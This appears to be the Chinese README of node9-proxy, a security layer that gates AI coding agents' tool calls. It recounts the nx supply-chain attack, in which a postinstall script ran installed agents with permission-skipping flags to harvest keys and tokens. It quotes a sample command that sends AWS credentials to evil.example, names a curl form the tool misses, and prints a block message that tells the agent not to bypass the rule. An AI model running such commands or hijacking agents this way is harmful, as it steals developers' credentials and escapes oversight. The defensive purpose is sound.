
node9-proxy v1.63.0
面向智能体时代的执行安全层。为自主AI代理提供确定性的“Sudo”治理与审计日志。
🛡️ node9
AI 代理的访问控制
你的 AI 代理可以访问 Slack、GitHub、电子邮件和你的数据库。
node9 决定它们可以对每一项做什么。
凭据牢笼 · 机密与 PII · 破坏性 git、SQL 和 shell 被拦截待审 · MCP 工具固定 · 网络出口允许列表 · 循环中断器 · 跨十二个代理的统一记录
兼容 Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任何 MCP 服务器。
实际效果
一个安装了 node9 的真实 Claude Code 会话。每次工具调用在执行前都会被检查。构建页面和编辑按钮会运行。对云元数据地址的请求被阻止,代理会收到原因并继续。删除文件会在聊天中等待你的批准。
安装
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
然后,在任意项目中:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
需要 Node.js 22+。
在新的交互式终端中,node9 会引导你完成设置。本地保护无需账户。检查清单会显示推荐的防护盾、DLP/PII、可选的网络出口审查以及后台服务。使用统计数据仅在你接受单独的提示后才会发送。摘要会列出已配置的代理以及任何需要注意的设置步骤。
运行 node9 setup 可重新进行设置,或运行 node9 setup <target> 配置单个代理。
配置完成后,直接运行 node9 会显示帮助。node9 init 仍然可用;对于
脚本请使用 node9 init --recommended(无提问且不选择加入遥测)。
--skip-setup 不会改动代理接线和服务安装。显式的
--mode 优先于检查清单的标准模式推荐。
除非所选更改或显式标志要求更新,否则现有设置会被保留。工作区策略在仪表板中管理;服务设置保留在本地。
login 不会增加任何强制执行内容。 它将机器连接到一个工作区,以便
团队可以跨所有人的笔记本电脑和 CI 查看统一记录、集中设置策略,
并从仪表板或 Slack 批准被拦截的操作。跳过它,node9 的工作方式完全相同,独立、离线。node9 logout 会再次断开连接,本地强制执行继续运行。
作为 MCP 服务器使用
node9 也可以作为 MCP 服务器运行,因此代理可以在对话中读取其状态、态势、 审计记录和策略,并解释任何决策:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
任何 MCP 客户端都以相同方式工作:命令是通过 stdio 运行的 npx -y node9-ai mcp-server,无需 API 密钥。它已在官方 MCP Registry 中列为
io.github.node9-ai/node9。
问题所在
2025 年 8 月,被入侵的
nx 构建工具 发布版本附带了一个安装后
脚本,它会查找开发者机器上已安装的 AI 编码代理,然后以关闭自身安全标志的方式运行它们(--dangerously-skip-permissions、--yolo、
--trust-all-tools)来枚举 SSH 密钥、云凭据和钱包文件,并将列表写入磁盘。该脚本将结果推送到受害者自己 GitHub
账户内的公开仓库。超过一千个有效的 GitHub 令牌泄露,连同云凭据、npm
令牌和大约 20,000 个文件,来自那些代理正在完全按照指令行事的机器。
代理不是攻击者。代理是工具,而它和文件之间没有任何东西。node9 的关卡不是那些标志之一:它运行在 hook 中,它拦截的操作即使代理以跳过权限的方式启动,也仍然会被拦截。
node9 如何应对
node9 位于代理和它调用的每个工具之间。凭据牢笼(~/.ssh、~/.aws、
.env 文件、私钥)默认开启,读取其中任一
路径都不会运行。代理被停止,被告知原因,决策会交给你:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
命令被解析为 shell AST,而不是作为文本匹配,因此包装读取也无济于事。
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 会被判定为读取
~/.aws/credentials,而不是 echo。
node9 是一个关卡。被拦截的操作在等待你期间不会运行,如果你从不回应 它会一直保持阻止。其他一切都被允许并写入记录。
它不做什么: 在出口控制关闭时(这是默认设置),将
文件直接交给网络的命令,例如 curl -d @~/.aws/credentials,不会被视为读取
该文件。node9 egress protect 也会对目标进行把关,且仅覆盖 shell 命令。
自行验证
以下内容都不需要账户,也不会上传任何数据。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
它管控什么
每一行是一项能力,并附有记录它的页面。文档是 参考;本文件是地图。